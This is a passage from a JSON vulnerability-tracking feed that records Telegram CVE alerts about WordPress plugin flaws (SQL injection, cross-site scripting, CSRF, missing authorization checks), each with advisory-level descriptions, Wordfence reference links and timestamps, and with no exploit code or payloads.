add_chative_widget_action() function. This makes it possible for unauthenticated attackers to change the channel ID or organization ID via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This could lead to redirecting the live chat widget to an attacker-controlled channel.\n\ud83d\udccf Published: 2025-01-07T03:21:56.199Z\n\ud83d\udccf Modified: 2025-01-07T03:21:56.199Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/61d3cb97-f12b-4480-88fc-2bdcbf4cdae3?source=cve\n2. https://plugins.trac.wordpress.org/browser/chative-live-chat-and-chatbot/trunk/chative-plugin.php#L51\n3. https://wordpress.org/plugins/chative-live-chat-and-chatbot/#developers", "creation_timestamp": "2025-01-07T03:36:53.000000Z"}, {"uuid": "b2b9b3a2-3d8e-49f4-b74a-54000154284c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/288", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12416\n\ud83d\udd39 Description: The Live Sales Notification for Woocommerce \u2013 Woomotiv plugin for WordPress is vulnerable to SQL Injection via the 'woomotiv_seen_products_.*' cookie in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T03:21:56.673Z\n\ud83d\udccf Modified: 2025-01-07T03:21:56.673Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/82016921-4efb-47b4-9a75-45cae4ad80f9?source=cve\n2. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#L521\n3. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#L614\n4. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#693", "creation_timestamp": "2025-01-07T03:36:49.000000Z"}, {"uuid": "d95c73c8-1ac2-4cbb-9068-a671bea528b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/296", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12590\n\ud83d\udd39 Description: The WP Youtube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:52.546Z\n\ud83d\udccf Modified: 2025-01-07T03:21:52.546Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0b9e6f21-4c26-4ff8-9d0f-c66cd537fdcc?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-youtube-gallery/trunk/wpyg-class.php#L87\n3. https://wordpress.org/plugins/wp-youtube-gallery/#developers", "creation_timestamp": "2025-01-07T03:37:50.000000Z"}, {"uuid": "3b8a5587-9ad1-4131-a780-a7644a5fcbf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/285", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12098\n\ud83d\udd39 Description: The ARS Affiliate Page Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'utm_keyword' parameter in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:21:57.939Z\n\ud83d\udccf Modified: 2025-01-07T03:21:57.939Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a25b2187-2ba8-4332-9f96-a003edd97ff6?source=cve\n2. https://wordpress.org/plugins/ars-affiliate-page/", "creation_timestamp": "2025-01-07T03:36:25.000000Z"}, {"uuid": "a89692e5-5260-46be-86e4-424c6d23c86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12559\n\ud83d\udd39 Description: The ClickDesigns plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'clickdesigns_add_api' and the 'clickdesigns_remove_api' functions in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to modify or remove the plugin's API key.\n\ud83d\udccf Published: 2025-01-07T03:21:58.376Z\n\ud83d\udccf Modified: 2025-01-07T03:21:58.376Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c1d19968-dbd8-4433-99a7-b973a59c4653?source=cve\n2. https://plugins.trac.wordpress.org/browser/clickdesigns/tags/1.8.0/includes/clickdesigns-ajax.php#L64\n3. https://plugins.trac.wordpress.org/browser/clickdesigns/tags/1.8.0/includes/clickdesigns-ajax.php#L79", "creation_timestamp": "2025-01-07T03:36:19.000000Z"}, {"uuid": "2080af7c-f7cc-4ed6-bd06-456daef34408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12022", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/282", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12022\n\ud83d\udd39 Description: The WP Menu Image plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wmi_delete_img_menu' function in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to delete images from menus.\n\ud83d\udccf Published: 2025-01-07T03:21:59.218Z\n\ud83d\udccf Modified: 2025-01-07T03:21:59.218Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e96193c0-ddde-463b-a68e-672ab6f812c7?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-menu-image/trunk/init/wmi-functions.php#L126", "creation_timestamp": "2025-01-07T03:36:08.000000Z"}, {"uuid": "e1e05745-abcc-4b22-b538-93bb5ac70882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/281", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12538\n\ud83d\udd39 Description: The Duplicate Post, Page and Any Custom Post plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.5.3 via the 'dpp_duplicate_as_draft' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts.\n\ud83d\udccf Published: 2025-01-07T03:21:59.599Z\n\ud83d\udccf Modified: 2025-01-07T03:21:59.599Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f38543ff-1074-4273-be33-8142d59e904f?source=cve\n2. https://plugins.trac.wordpress.org/browser/duplicate-pp/trunk/duplicate-pp.php#L22", "creation_timestamp": "2025-01-07T03:36:02.000000Z"}, {"uuid": "ebf8ff7a-a498-4ab3-9bd1-3d6653522c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/280", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12540\n\ud83d\udd39 Description: The LDD Directory Lite plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 3.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:22:00.501Z\n\ud83d\udccf Modified: 2025-01-07T03:22:00.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f7675e1c-7194-4cfe-81fb-a78d75e0bb1e?source=cve\n2. https://plugins.trac.wordpress.org/browser/ldd-directory-lite/trunk/templates/frontend/edit-submit.php#L10\n3. https://wordpress.org/plugins/ldd-directory-lite/#developers", "creation_timestamp": "2025-01-07T03:35:58.000000Z"}, {"uuid": "cd149fce-a393-49c4-b0ff-7bcb2a89756b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/291", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12528\n\ud83d\udd39 Description: The WordPress Survey & Poll \u2013 Quiz, Survey and Poll Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsurveypoll_results' shortcode in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:55.299Z\n\ud83d\udccf Modified: 2025-01-07T03:21:55.299Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51cc6247-1948-4de1-b347-c7d818400777?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-survey-and-poll/trunk/wordpress-survey-and-poll.php#L49\n3. https://plugins.trac.wordpress.org/browser/wp-survey-and-poll/trunk/wordpress-survey-and-poll.php#L146", "creation_timestamp": "2025-01-07T03:37:03.000000Z"}, {"uuid": "8f29ab03-a0c3-4aef-aa5f-a9d4a796908d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/363", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12516\n\ud83d\udd39 Description: The Coupon Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Coupon Code' parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T07:22:33.935Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.935Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/827c0459-1328-4fb1-b044-ae80298fa5ea?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215992%40coupon-lite&new=3215992%40coupon-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T07:36:51.000000Z"}, {"uuid": "1e843cad-5774-4a5c-a8d2-cdc8170f224e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/370", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12499\n\ud83d\udd39 Description: The WP jQuery DataTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_jdt' shortcode in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:58.481Z\n\ud83d\udccf Modified: 2025-01-07T06:40:58.481Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5c6a6422-8255-4a3c-9ddf-b5986e1d393f?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213340%40wp-jquery-datatable&new=3213340%40wp-jquery-datatable&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T07:37:32.000000Z"}, {"uuid": "8931da18-d65b-4192-ab93-3418baeb0a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/368", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12781\n\ud83d\udd39 Description: The Aurum - WordPress & WooCommerce Shopping Theme theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'lab_1cl_demo_install_package_content' function in all versions up to, and including, 4.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite content with imported demo content.\n\ud83d\udccf Published: 2025-01-07T06:40:59.272Z\n\ud83d\udccf Modified: 2025-01-07T06:40:59.272Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cd132aa5-d30a-41de-aa8d-aefae6c95c47?source=cve\n2. https://documentation.laborator.co/kb/aurum/aurum-release-notes/", "creation_timestamp": "2025-01-07T07:37:22.000000Z"}, {"uuid": "038374e2-8c80-4979-ab8f-e9ec23c78690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/367", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12437\n\ud83d\udd39 Description: The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'envato' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:59.643Z\n\ud83d\udccf Modified: 2025-01-07T06:40:59.643Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e055c319-1aeb-4a97-98d1-3b38e61f30f0?source=cve\n2. https://plugins.trac.wordpress.org/browser/marketplace-items/trunk/marketplace-items.php#L94\n3. https://wordpress.org/plugins/marketplace-items", "creation_timestamp": "2025-01-07T07:37:13.000000Z"}, {"uuid": "31cace41-d935-49d6-8f95-4b3718c70950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/302", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12322\n\ud83d\udd39 Description: The ThePerfectWedding.nl Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8. This is due to missing or incorrect nonce validation on the 'update_option' function. This makes it possible for unauthenticated attackers to update the 'tpwKey' option with stored cross-site scripting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:22.399Z\n\ud83d\udccf Modified: 2025-01-07T04:22:22.399Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e996f71a-f0b9-4e10-873e-a0299a099dce?source=cve\n2. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L4\n3. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L5\n4. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L28\n5. https://plugins.trac.wordpress.org/browser/theperfectweddingnl-widget/trunk/admin/tpwAdminPanelTemplate.php#L48", "creation_timestamp": "2025-01-07T04:36:44.000000Z"}, {"uuid": "ffdb0edb-2eb4-48fa-92e4-43e6edd21c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12176", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/311", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12176\n\ud83d\udd39 Description: The WordLift \u2013 AI powered SEO \u2013 Schema plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'wl_config_plugin' AJAX action in all versions up to, and including, 3.54.0. This makes it possible for unauthenticated attackers to update the plugin's settings.\n\ud83d\udccf Published: 2025-01-07T04:22:19.089Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.089Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ca6bdde6-f381-4ccb-8984-519cf9aca0b1?source=cve\n2. https://wordpress.org/plugins/wordlift/", "creation_timestamp": "2025-01-07T04:37:32.000000Z"}, {"uuid": "5a200459-4954-4820-9a1e-44692455b892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12256", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/310", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12256\n\ud83d\udd39 Description: The Simple Video Management System plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'analytics_video' parameter in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:19.453Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.453Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cdaa6b7c-bf38-44b5-9d83-2918cbedc683?source=cve\n2. https://wordpress.org/plugins/simple-video-management-system/", "creation_timestamp": "2025-01-07T04:37:24.000000Z"}, {"uuid": "ae477e97-64ca-47a3-a79b-82ee3ef83d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12159", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/309", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12159\n\ud83d\udd39 Description: The Optimize Your Campaigns \u2013 Google Shopping \u2013 Google Ads \u2013 Google Adwords plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.1 due to the print_php_information.php being publicly accessible. This makes it possible for unauthenticated attackers to extract sensitive configuration data that can be leveraged in another attack.\n\ud83d\udccf Published: 2025-01-07T04:22:19.794Z\n\ud83d\udccf Modified: 2025-01-07T04:22:19.794Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cfeca343-c796-45d5-a71d-8211d8b38b3e?source=cve\n2. https://plugins.trac.wordpress.org/browser/muzaara-adwords-optimize-dashboard/trunk/lib/muzaara/lib/google-ads-php/scripts/print_php_information.php", "creation_timestamp": "2025-01-07T04:37:15.000000Z"}, {"uuid": "e17dc344-e6a2-4431-9905-92a8ea547f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/307", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12327\n\ud83d\udd39 Description: The LazyLoad Background Images plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the pblzbg_save_settings() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings.\n\ud83d\udccf Published: 2025-01-07T04:22:20.523Z\n\ud83d\udccf Modified: 2025-01-07T04:22:20.523Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d57fa9f3-b1c0-4601-96d9-178d0dba1332?source=cve\n2. https://plugins.trac.wordpress.org/browser/lazyload-background-images/trunk/admin/plugin-functions.php#L152\n3. https://plugins.trac.wordpress.org/browser/lazyload-background-images/trunk/admin/plugin-functions.php#L153", "creation_timestamp": "2025-01-07T04:37:05.000000Z"}, {"uuid": "baccbb5d-2699-4596-b6bc-2f1f3f679761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/314", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12264\n\ud83d\udd39 Description: The PayU CommercePro Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.8.3. This is due to /wp-json/payu/v1/generate-user-token and /wp-json/payu/v1/get-shipping-cost  REST API endpoints not properly verifying a user's identity prior to setting the users ID and auth cookies. This makes it possible for unauthenticated attackers to create new administrative user accounts.\n\ud83d\udccf Published: 2025-01-07T04:22:17.945Z\n\ud83d\udccf Modified: 2025-01-07T04:22:17.945Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf037e4a-2dd7-4296-b86b-635901d2d68f?source=cve\n2. https://plugins.trac.wordpress.org/browser/payu-india/tags/3.8.3/includes/class-payu-shipping-tax-api-calculation.php#L187", "creation_timestamp": "2025-01-07T04:37:53.000000Z"}, {"uuid": "16c41c70-43f2-4613-9f27-acfdc53e00fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12140", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/313", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12140\n\ud83d\udd39 Description: The Elementor Addons AI Addons \u2013 70 Widgets, Premium Templates, Ultimate Elements plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.2.1 via the render function due to insufficient restrictions on which templates can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft templates that they should not have access to.\n\ud83d\udccf Published: 2025-01-07T04:22:18.330Z\n\ud83d\udccf Modified: 2025-01-07T04:22:18.330Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c00d83a7-dd7a-407d-b44e-7ee0a2a1492a?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-addons-for-elementor/tags/2.2.1/includes/widgets/accordion.php#L958\n3. https://plugins.trac.wordpress.org/browser/ai-addons-for-elementor/tags/2.2.1/includes/widgets/tab.php#L905", "creation_timestamp": "2025-01-07T04:37:46.000000Z"}, {"uuid": "5d344874-8ac6-4af6-8e66-47cc3c99eb65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/312", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12332\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Student/Parent-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T04:22:18.694Z\n\ud83d\udccf Modified: 2025-01-07T04:22:18.694Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c0248af2-f9f3-4652-bf6d-b46aa91b66f3?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L72\n3. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L73\n4. https://plugins.trac.wordpress.org/browser/wpschoolpress/trunk/pages/wpsp-teacher.php#L49", "creation_timestamp": "2025-01-07T04:37:38.000000Z"}, {"uuid": "6f2619de-5de2-4a29-9194-913be52f50dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12153", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/319", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12153\n\ud83d\udd39 Description: The GDY Modular Content plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 0.9.91. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:16.140Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.140Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8f854737-e87b-4c50-a9fb-d3b129f9d9fc?source=cve\n2. https://plugins.trac.wordpress.org/browser/gdy-modular-content/trunk/includes/elements.php#L16", "creation_timestamp": "2025-01-07T04:38:31.000000Z"}, {"uuid": "4456be75-7f56-48a3-9f24-54ce7920a995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12158", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/318", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12158\n\ud83d\udd39 Description: The Popup \u2013 MailChimp, GetResponse and ActiveCampaign Intergrations plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'upc_delete_db_data' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for unauthenticated attackers to delete the DB data for the plugin.\n\ud83d\udccf Published: 2025-01-07T04:22:16.501Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/93a698df-fd68-4fbc-946e-a9b5a7f93b71?source=cve\n2. https://wordpress.org/plugins/ultimate-popup-creator/", "creation_timestamp": "2025-01-07T04:38:23.000000Z"}, {"uuid": "589be74f-0aac-4de0-ad49-baa0b44b7b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12124", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/317", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12124\n\ud83d\udd39 Description: The Role Includer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018user_id\u2019 parameter in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:16.840Z\n\ud83d\udccf Modified: 2025-01-07T04:22:16.840Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/97b3399b-cda2-4ab1-8919-b1e4ba4a5dcf?source=cve\n2. https://wordpress.org/plugins/role-includer/#developers", "creation_timestamp": "2025-01-07T04:38:16.000000Z"}, {"uuid": "2a5487ab-b4b0-41dd-aa79-2530a99a15ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber 